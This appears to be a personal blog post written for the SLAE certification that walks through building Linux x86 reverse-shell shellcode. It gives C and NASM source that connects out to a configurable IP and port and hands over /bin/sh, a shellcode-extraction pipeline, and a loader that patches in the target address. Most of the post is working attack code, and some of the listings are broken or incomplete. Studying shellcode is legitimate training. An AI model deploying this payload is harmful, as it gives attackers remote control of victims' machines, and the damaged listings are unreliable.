SLAE Exam 2 TCP Reverse Shell

5 minute read

No coffee tonight. It’s too late for that. It’s not that this assignment took long at all, but there were several things I had to do before I could finish this up and post it. Nevertheless, I have successfully implemented a tcp reverse shellcode for linux/x86 systems as part of the SLAE exam. Continue reading to find out how it was done!

Assignment 2 - TCP Reverse Shell

It’s late. I’m tired. I’m getting the hang of this, but I’ve just got no time to work on it. There’s so much to do and so little space to squeeze it into. It’s like my life is being coded on a commodore 64! Alas, the SLAE is still proving to be a fun learning tool, so let’s dive in.

Problem Statement

  • Create a Shell_Reverse_TCP shellcode
    • Reverse connects to configured IP and Port
    • Execs shell on successful connection
  • IP and Port number should be easily configurable

Forming a Base

This guide will follow very closely with my TCP Bind Shell guide, as the problems are very similar. Let’s start off by writing our own C program to do what we want:


#include <unistd.h> // dup2, execve
#include <netinet/in.h> // socket structures and constants
#include <arpa/inet.h> // inet_addr

#define RHOST ""
#define RPORT 4444

int main() {
  int sockfd;
  struct sockaddr_in remote_addr;

  // create a new socket  (ipv4, tcp, tcp)
  sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

  // create the address to connect to
  remote_addr.sin_family = AF_INET; // ipv4
  remote_addr.sin_port = htons(RPORT); // port in the correct endianness
  remote_addr.sin_addr.s_addr = inet_addr(RHOST);

  // Connect to the specified address (
  connect(sockfd, (struct sockaddr*) &remote_addr, sizeof(remote_addr));

  // Overwrite old stdin, stdout, stderr fd's with the socket fd
  dup2(sockfd, 0); // stdin
  dup2(sockfd, 1); // stdout
  dup2(sockfd, 2); // stderr

  // Execute the new program /bin/sh, which will now use the socket to
  //  handle it's stdin, stdout, and stderr
  execve("/bin/sh", NULL, NULL);

  // EXIT
  // This will never happen because execve closes out for us.
  return 0;

Initial Research


Most of the research has been done as a part of assignment 1. However, I did need to figure out the syscall number of connect. It wound up being 362, or 0x16a.

To learn how I found the syscall numbers, take a look at the assignment 1 write-up.

The Final Product

And that’s really all that was needed besides some minor code modification. We just replace the BIND, LISTEN, and ACCEPT sections with a new CONNECT section, and everything works as intended. Hopefully, the code can speak for itself. I’ve tried to keep it well documented.


; Filename: assignment2.nasm
; Author:  Adam Brown
; Website:
; Purpose: Create TCP Reverse Shell for SLAE Exam, Assignment 2

global _start

section .text

  ; Clear out registers before we get started
  xor ebx, ebx
  xor ecx, ecx
  xor edx, edx
  mul ebx ; zero out eax
  xor esi, esi
  xor edi, edi

; int socket(int domain, int type, int protocol) //
; syscall number: 359 (0x167)
; Argument Values:
; EBX -> domain = 2 (AF_INET/IPv4)
; ECX -> type = 1 (SOCK_STREAM/TCP)
; EDX -> protocol = 6 (IPPROTO_TCP)
; Note: For protocol, we could also use 0, as the man page for socket tells us,
; "Normally only a single protocol exists to support a particular socket type
;   within a given protocol family, in which case protocol can be specified
;   as 0."

  mov bl, 2
  mov cl, 1
  mov dl, 6
  mov ax, 0x167
  int 0x80

; int connect (int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; syscall number: 362 (0x16a)
; Argument Values:
; sockfd = value in eax returned by socket()
; *addr = memory address of structure containing:
;   - sin_family: 0x0002 (AF_INET/IPv4)
;   - sin_port: 0x115c (4444)
;   - sin_addr.s_addr: 0x0101a8c0 (
; addrlen = 0x10 (16/sizeof(sockaddr_in))

  mov ebx, eax ; mov sockfd value into ebx

  push 0x0101a8c0

  push word 0x5c11 ; push 0x115c for sin_port
  push word 0x02 ; push 0x0002 for sin_family

  mov ecx, esp ; memory pointer to our sockaddr struct

  mov dl, 0x10
  mov ax, 0x16a
  int 0x80

; int dup2(int oldfd, int newfd);
; syscall number: 63 (0x3f)
; Argument Values:
; oldfd = value in ebx used by connect()
; newfd = 0, 1, 2 iteratively (stdin, stdout, stderr)

  xor ecx, ecx
  mov cl, 3 ; 3 file descriptors (stdin, stdout, stderr)

  dec cl ; hack for loop to work with values 2,1,0 instead of 3,2,1
  mul edx ; zero out eax
  mov al, 0x3f
  int 0x80 ; dup2 stdin
  inc cl ; hack for loop to work with values 2,1,0 instead of 3,2,1
  loop dup_descriptors

; int execve(const char *filename, char *const argv[], char *const envp[]);
; syscall number: 11 (0xb)
; Argument Values:
; *filename = Memory address of a null terminated string "/bin/sh"
; *argv[] = [*"/bin/sh", 0x00000000]
; *envp = NULL

  xor ecx, ecx

  ; This has to be pushed in reverse because of how things move to the stack
  ; Pushing /bin/sh null terminated string
  push cx
  push dword 0x68732f2f ; push / / s h
  push dword 0x6e69622f ; push / b i n

  mov ebx, esp ; Store pointer to "/bin/sh" in ebx
  push ecx ; Push NULL
  push ebx ; Push *filename
  mov ecx, esp ; Store memory address pointing to memory address of "/bin/sh"
  mov al, 0xb
  int 0x80 ; Execute SHELL

  xor eax, eax
  mov al, 1;
  int 0x80;

Getting the Shellcode

[email protected]:~/courses/slae/exam# nasm -f elf32 -o assignment2.o assignment2.nasm
[email protected]:~/courses/slae/exam# ld -o assignment2 assignment2.o

[email protected]:~/courses/slae/exam# objdump -d ./assignment2|grep '[0-9a-f]:'|grep
-v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed
's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'



#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h> // inet_addr

#define IP_OFFSET 27
#define PORT_OFFSET 33

int main(int argc, char* argv[]) {
    unsigned char shellcode[] = \

    if (argc > 2) {
        printf("Addr: %s\n", argv[1]);
        in_addr_t ip = inet_addr(argv[1]);
        unsigned short porti = htons(atoi(argv[2]));
        memcpy(&shellcode[IP_OFFSET], &ip, 4);
        memcpy(&shellcode[PORT_OFFSET], &porti, 2);
    } else {
        printf("Please enter an IP address and port number!\n");
        printf("Usage: %s <ip-address> <port>\n\n", argv[0]);
        return -1;

    printf("Shellcode Length:  %d\n", strlen(shellcode));

    int (*ret)() = (int(*)())shellcode;


Running our Shellcode

[email protected]:~/courses/slae/exam# gcc shellcode.c -o shellcode

[email protected]:~/courses/slae/exam# ./shellcode 4444
Shellcode Length:  94


Now it’s time for bed. We have shellcode that successfully connects back to us upon being executed, and presents us with a nice /bin/sh shell! I hope you learned something with me this assignment, and if you had any trouble following, go back and look at assignment 1, and/or drop me a comment. I’d love to help any way I can! Until next time, try harder!

SLAE Exam Statement

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-1158

Get a FREE Hacking Video Course!

We will soon be releasing free video courses on how to improve your hacking and programming skills! What I've found since my review of the OSCP, is that many people lack just a little bit of the fundamental knowledge of how software works. Our goal is to provide that slight amount of knowledge in order to close the gap between students and passing exams such as the OSCP. Subscribe to our mailing list to stay updated on when these courses will be available.

Leave a Comment